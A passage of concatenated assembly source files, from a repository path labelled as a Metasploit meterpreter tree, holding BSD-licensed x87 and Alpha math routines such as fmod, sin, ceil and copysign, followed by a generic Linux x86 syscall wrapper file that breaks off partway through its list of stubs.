EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/e_fmod.S,v 1.8 2005/02/04 14:08:32 das Exp $") ENTRY(fmod) fldl 12(%esp) fldl 4(%esp) 1: fprem fstsw %ax sahf jp 1b fstp %st(1) ret
OpenWireSec/metasploit
1,561
external/source/meterpreter/source/bionic/libm/i387/s_lrintf.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/i387/s_lrintf.S,v 1.1 2005/04/16 21:12:55 das Exp $") ENTRY(lrintf) flds 4(%esp) subl $4,%esp fistpl (%esp) popl %eax ret
OpenWireSec/metasploit
2,130
external/source/meterpreter/source/bionic/libm/i387/s_remquo.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ /* * Based on public-domain remainder routine by J.T. Conklin <jtc@NetBSD.org>. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/i387/s_remquo.S,v 1.1 2005/03/25 04:40:44 das Exp $"); ENTRY(remquo) fldl 12(%esp) fldl 4(%esp) 1: fprem1 fstsw %ax sahf jp 1b fstp %st(1) /* Extract the three low-order bits of the quotient from C0,C3,C1. */ shrl $6,%eax movl %eax,%ecx andl $0x108,%eax rorl $7,%eax orl %eax,%ecx roll $4,%eax orl %ecx,%eax andl $7,%eax /* Negate the quotient bits if x*y<0. Avoid using an unpredictable branch. */ movl 16(%esp),%ecx xorl 8(%esp),%ecx sarl $16,%ecx sarl $16,%ecx xorl %ecx,%eax andl $1,%ecx addl %ecx,%eax /* Store the quotient and return. */ movl 20(%esp),%ecx movl %eax,(%ecx) ret
OpenWireSec/metasploit
1,944
external/source/meterpreter/source/bionic/libm/i387/s_significand.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/s_significand.S,v 1.7 2000/06/06 12:12:36 bde Exp $") ENTRY(significand) fldl 4(%esp) fxtract fstp %st(1) ret
OpenWireSec/metasploit
2,055
external/source/meterpreter/source/bionic/libm/i387/s_sin.S
/* * Copyright (c) 1994 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/s_sin.S,v 1.6 1999/08/28 00:06:14 peter Exp $") ENTRY(sin) fldl 4(%esp) fsin fnstsw %ax andw $0x400,%ax jnz 1f ret 1: fldpi fadd %st(0) fxch %st(1) 2: fprem1 fnstsw %ax andw $0x400,%ax jnz 2b fstp %st(1) fsin ret
OpenWireSec/metasploit
1,944
external/source/meterpreter/source/bionic/libm/i387/e_scalb.S
/* * Copyright (c) 1994 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/e_scalb.S,v 1.8 2005/02/04 14:08:32 das Exp $") ENTRY(scalb) fldl 12(%esp) fldl 4(%esp) fscale fstp %st(1) ret
OpenWireSec/metasploit
2,233
external/source/meterpreter/source/bionic/libm/i387/s_ceil.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/s_ceil.S,v 1.7 1999/08/28 00:06:11 peter Exp $") ENTRY(ceil) pushl %ebp movl %esp,%ebp subl $8,%esp fstcw -4(%ebp) /* store fpu control word */ movw -4(%ebp),%dx orw $0x0800,%dx /* round towards +oo */ andw $0xfbff,%dx movw %dx,-8(%ebp) fldcw -8(%ebp) /* load modfied control word */ fldl 8(%ebp); /* round */ frndint fldcw -4(%ebp) /* restore original control word */ leave ret
OpenWireSec/metasploit
2,037
external/source/meterpreter/source/bionic/libm/i387/s_copysign.S
/* * Copyright (c) 1993,94 Winning Strategies, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Winning Strategies, Inc. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Written by: * J.T. Conklin (jtc@wimsey.com), Winning Strategies, Inc. */ #include <machine/asm.h> RCSID("$FreeBSD: src/lib/msun/i387/s_copysign.S,v 1.6 1999/08/28 00:06:11 peter Exp $") ENTRY(copysign) movl 16(%esp),%edx andl $0x80000000,%edx movl 8(%esp),%eax andl $0x7fffffff,%eax orl %edx,%eax movl %eax,8(%esp) fldl 4(%esp) ret
OpenWireSec/metasploit
2,130
external/source/meterpreter/source/bionic/libm/i387/s_remquof.S
/*- * Copyright (c) 2005 David Schultz <das@FreeBSD.ORG> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ /* * Based on public-domain remainder routine by J.T. Conklin <jtc@NetBSD.org>. */ #include <machine/asm.h> __FBSDID("$FreeBSD: src/lib/msun/i387/s_remquof.S,v 1.1 2005/03/25 04:40:44 das Exp $"); ENTRY(remquof) flds 8(%esp) flds 4(%esp) 1: fprem1 fstsw %ax sahf jp 1b fstp %st(1) /* Extract the three low-order bits of the quotient from C0,C3,C1. */ shrl $6,%eax movl %eax,%ecx andl $0x108,%eax rorl $7,%eax orl %eax,%ecx roll $4,%eax orl %ecx,%eax andl $7,%eax /* Negate the quotient bits if x*y<0. Avoid using an unpredictable branch. */ movl 8(%esp),%ecx xorl 4(%esp),%ecx sarl $16,%ecx sarl $16,%ecx xorl %ecx,%eax andl $1,%ecx addl %ecx,%eax /* Store the quotient and return. */ movl 12(%esp),%ecx movl %eax,(%ecx) ret
OpenWireSec/metasploit
2,177
external/source/meterpreter/source/bionic/libm/alpha/s_copysignf.S
/* $FreeBSD: src/lib/msun/alpha/s_copysignf.S,v 1.2 1999/08/28 00:06:08 peter Exp $ */ /* From: NetBSD: s_copysignf.S,v 1.3 1997/07/30 23:58:41 jtc Exp */ /*- * Copyright (c) 1996 The NetBSD Foundation, Inc. * All rights reserved. * * This code is derived from software contributed to The NetBSD Foundation * by J.T. Conklin. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the NetBSD * Foundation, Inc. and its contributors. * 4. Neither the name of The NetBSD Foundation nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include <machine/asm.h> LEAF(copysignf, 2) cpys fa1, fa0, fv0 RET END(copysignf)
OpenWireSec/metasploit
2,174
external/source/meterpreter/source/bionic/libm/alpha/s_copysign.S
/* $FreeBSD: src/lib/msun/alpha/s_copysign.S,v 1.2 1999/08/28 00:06:07 peter Exp $ */ /* From: NetBSD: s_copysign.S,v 1.3 1997/07/30 23:58:38 jtc Exp */ /*- * Copyright (c) 1996 The NetBSD Foundation, Inc. * All rights reserved. * * This code is derived from software contributed to The NetBSD Foundation * by J.T. Conklin. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the NetBSD * Foundation, Inc. and its contributors. * 4. Neither the name of The NetBSD Foundation nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include <machine/asm.h> LEAF(copysign, 2) cpys fa1, fa0, fv0 RET END(copysign)
OpenWireSec/metasploit
30,470
external/source/meterpreter/source/server/rtld/syscall.S
/* * PKS, copied from bionic sysall.S code.. * * Changes: save/restore/use ebp for mmap() syscall. * don't restore eax on syscall return :~( */ /* * Generic syscall call. * Upon entry * %eax: system call number * %ebx: arg0 to system call * %ecx: arg.. * %edx: arg.. * %esi: arg.. * %edi: arg.. * We push these (to save them) load them up with the * values from the calling frame (not all will actually be valid) * and make the syscall. */ .text .type syscall, @function .globl syscall .align 4 syscall: /* push %eax .. fucking google. */ push %ebx push %ecx push %edx push %esi push %edi push %ebp mov 28(%esp),%eax mov 32(%esp),%ebx mov 36(%esp),%ecx mov 40(%esp),%edx mov 44(%esp),%esi mov 48(%esp),%edi mov 52(%esp),%ebp int $0x80 cmpl $-129, %eax jb 1f negl %eax pushl %eax call __set_errno addl $4, %esp orl $-1, %eax 1: pop %ebp pop %edi pop %esi pop %edx pop %ecx pop %ebx /* pop %eax ... this took ages :( */ ret /* * This is about the hackiest implementation of syscalls, you'll ever see! * * Generated the below via a quick shellscript. */ .text .type exit, @function .globl exit .align 4 exit: pop %edx /* save return address */ push $1 call syscall add $4, %esp push %edx ret .text .type fork, @function .globl fork .align 4 fork: pop %edx /* save return address */ push $2 call syscall add $4, %esp push %edx ret .text .type read, @function .globl read .align 4 read: pop %edx /* save return address */ push $3 call syscall add $4, %esp push %edx ret .text .type write, @function .globl write .align 4 write: pop %edx /* save return address */ push $4 call syscall add $4, %esp push %edx ret .text .type open, @function .globl open .align 4 open: pop %edx /* save return address */ push $5 call syscall add $4, %esp push %edx ret .text .type close, @function .globl close .align 4 close: pop %edx /* save return address */ push $6 call syscall add $4, %esp push %edx ret .text .type waitpid, @function .globl waitpid .align 4 waitpid: pop %edx /* save return address */ push $7 call syscall add $4, %esp push %edx ret .text .type creat, @function .globl creat .align 4 creat: pop %edx /* save return address */ push $8 call syscall add $4, %esp push %edx ret .text .type link, @function .globl link .align 4 link: pop %edx /* save return address */ push $9 call syscall add $4, %esp push %edx ret .text .type unlink, @function .globl unlink .align 4 unlink: pop %edx /* save return address */ push $10 call syscall add $4, %esp push %edx ret .text .type execve, @function .globl execve .align 4 execve: pop %edx /* save return address */ push $11 call syscall add $4, %esp push %edx ret .text .type chdir, @function .globl chdir .align 4 chdir: pop %edx /* save return address */ push $12 call syscall add $4, %esp push %edx ret .text .type time, @function .globl time .align 4 time: pop %edx /* save return address */ push $13 call syscall add $4, %esp push %edx ret .text .type mknod, @function .globl mknod .align 4 mknod: pop %edx /* save return address */ push $14 call syscall add $4, %esp push %edx ret .text .type chmod, @function .globl chmod .align 4 chmod: pop %edx /* save return address */ push $15 call syscall add $4, %esp push %edx ret .text .type lchown, @function .globl lchown .align 4 lchown: pop %edx /* save return address */ push $16 call syscall add $4, %esp push %edx ret .text .type break, @function .globl break .align 4 break: pop %edx /* save return address */ push $17 call syscall add $4, %esp push %edx ret .text .type oldstat, @function .globl oldstat .align 4 oldstat: pop %edx /* save return address */ push $18 call syscall add $4, %esp push %edx ret .text .type lseek, @function .globl lseek .align 4 lseek: pop %edx /* save return address */ push $19 call syscall add $4, %esp push %edx ret .text .type getpid, @function .globl getpid .align 4 getpid: pop %edx /* save return address */ push $20 call syscall add $4, %esp push %edx ret .text .type mount, @function .globl mount .align 4 mount: pop %edx /* save return address */ push $21 call syscall add $4, %esp push %edx ret .text .type umount, @function .globl umount .align 4 umount: pop %edx /* save return address */ push $22 call syscall add $4, %esp push %edx ret .text .type setuid, @function .globl setuid .align 4 setuid: pop %edx /* save return address */ push $23 call syscall add $4, %esp push %edx ret .text .type getuid, @function .globl getuid .align 4 getuid: pop %edx /* save return address */ push $24 call syscall add $4, %esp push %edx ret .text .type stime, @function .globl stime .align 4 stime: pop %edx /* save return address */ push $25 call syscall add $4, %esp push %edx ret .text .type ptrace, @function .globl ptrace .align 4 ptrace: pop %edx /* save return address */ push $26 call syscall add $4, %esp push %edx ret .text .type alarm, @function .globl alarm .align 4 alarm: pop %edx /* save return address */ push $27 call syscall add $4, %esp push %edx ret .text .type oldfstat, @function .globl oldfstat .align 4 oldfstat: pop %edx /* save return address */ push $28 call syscall add $4, %esp push %edx ret .text .type pause, @function .globl pause .align 4 pause: pop %edx /* save return address */ push $29 call syscall add $4, %esp push %edx ret .text .type utime, @function .globl utime .align 4 utime: pop %edx /* save return address */ push $30 call syscall add $4, %esp push %edx ret .text .type stty, @function .globl stty .align 4 stty: pop %edx /* save return address */ push $31 call syscall add $4, %esp push %edx ret .text .type gtty, @function .globl gtty .align 4 gtty: pop %edx /* save return address */ push $32 call syscall add $4, %esp push %edx ret .text .type access, @function .globl access .align 4 access: pop %edx /* save return address */ push $33 call syscall add $4, %esp push %edx ret .text .type nice, @function .globl nice .align 4 nice: pop %edx /* save return address */ push $34 call syscall add $4, %esp push %edx ret .text .type ftime, @function .globl ftime .align 4 ftime: pop %edx /* save return address */ push $35 call syscall add $4, %esp push %edx ret .text .type sync, @function .globl sync .align 4 sync: pop %edx /* save return address */ push $36 call syscall add $4, %esp push %edx ret .text .type kill, @function .globl kill .align 4 kill: pop %edx /* save return address */ push $37 call syscall add $4, %esp push %edx ret .text .type rename, @function .globl rename .align 4 rename: pop %edx /* save return address */ push $38 call syscall add $4, %esp push %edx ret .text .type mkdir, @function .globl mkdir .align 4 mkdir: pop %edx /* save return address */ push $39 call syscall add $4, %esp push %edx ret .text .type rmdir, @function .globl rmdir .align 4 rmdir: pop %edx /* save return address */ push $40 call syscall add $4, %esp push %edx ret .text .type dup, @function .globl dup .align 4 dup: pop %edx /* save return address */ push $41 call syscall add $4, %esp push %edx ret .text .type pipe, @function .globl pipe .align 4 pipe: pop %edx /* save return address */ push $42 call syscall add $4, %esp push %edx ret .text .type times, @function .globl times .align 4 times: pop %edx /* save return address */ push $43 call syscall add $4, %esp push %edx ret .text .type prof, @function .globl prof .align 4 prof: pop %edx /* save return address */ push $44 call syscall add $4, %esp push %edx ret .text .type brk, @function .globl brk .align 4 brk: pop %edx /* save return address */ push $45 call syscall add $4, %esp push %edx ret .text .type setgid, @function .globl setgid .align 4 setgid: pop %edx /* save return address */ push $46 call syscall add $4, %esp push %edx ret .text .type getgid, @function .globl getgid .align 4 getgid: pop %edx /* save return address */ push $47 call syscall add $4, %esp push %edx ret .text .type signal, @function .globl signal .align 4 signal: pop %edx /* save return address */ push $48 call syscall add $4, %esp push %edx ret .text .type geteuid, @function .globl geteuid .align 4 geteuid: pop %edx /* save return address */ push $49 call syscall add $4, %esp push %edx ret .text .type getegid, @function .globl getegid .align 4 getegid: pop %edx /* save return address */ push $50 call syscall add $4, %esp push %edx ret .text .type acct, @function .globl acct .align 4 acct: pop %edx /* save return address */ push $51 call syscall add $4, %esp push %edx ret .text .type umount2, @function .globl umount2 .align 4 umount2: pop %edx /* save return address */ push $52 call syscall add $4, %esp push %edx ret .text .type lock, @function .globl lock .align 4 lock: pop %edx /* save return address */ push $53 call syscall add $4, %esp push %edx ret .text .type ioctl, @function .globl ioctl .align 4 ioctl: pop %edx /* save return address */ push $54 call syscall add $4, %esp push %edx ret .text .type fcntl, @function .globl fcntl .align 4 fcntl: pop %edx /* save return address */ push $55 call syscall add $4, %esp push %edx ret .text .type mpx, @function .globl mpx .align 4 mpx: pop %edx /* save return address */ push $56 call syscall add $4, %esp push %edx ret .text .type setpgid, @function .globl setpgid .align 4 setpgid: pop %edx /* save return address */ push $57 call syscall add $4, %esp push %edx ret .text .type ulimit, @function .globl ulimit .align 4 ulimit: pop %edx /* save return address */ push $58 call syscall add $4, %esp push %edx ret .text .type oldolduname, @function .globl oldolduname .align 4 oldolduname: pop %edx /* save return address */ push $59 call syscall add $4, %esp push %edx ret .text .type umask, @function .globl umask .align 4 umask: pop %edx /* save return address */ push $60 call syscall add $4, %esp push %edx ret .text .type chroot, @function .globl chroot .align 4 chroot: pop %edx /* save return address */ push $61 call syscall add $4, %esp push %edx ret .text .type ustat, @function .globl ustat .align 4 ustat: pop %edx /* save return address */ push $62 call syscall add $4, %esp push %edx ret .text .type dup2, @function .globl dup2 .align 4 dup2: pop %edx /* save return address */ push $63 call syscall add $4, %esp push %edx ret .text .type getppid, @function .globl getppid .align 4 getppid: pop %edx /* save return address */ push $64 call syscall add $4, %esp push %edx ret .text .type getpgrp, @function .globl getpgrp .align 4 getpgrp: pop %edx /* save return address */ push $65 call syscall add $4, %esp push %edx ret .text .type setsid, @function .globl setsid .align 4 setsid: pop %edx /* save return address */ push $66 call syscall add $4, %esp push %edx ret .text .type sigaction, @function .globl sigaction .align 4 sigaction: pop %edx /* save return address */ push $67 call syscall add $4, %esp push %edx ret .text .type sgetmask, @function 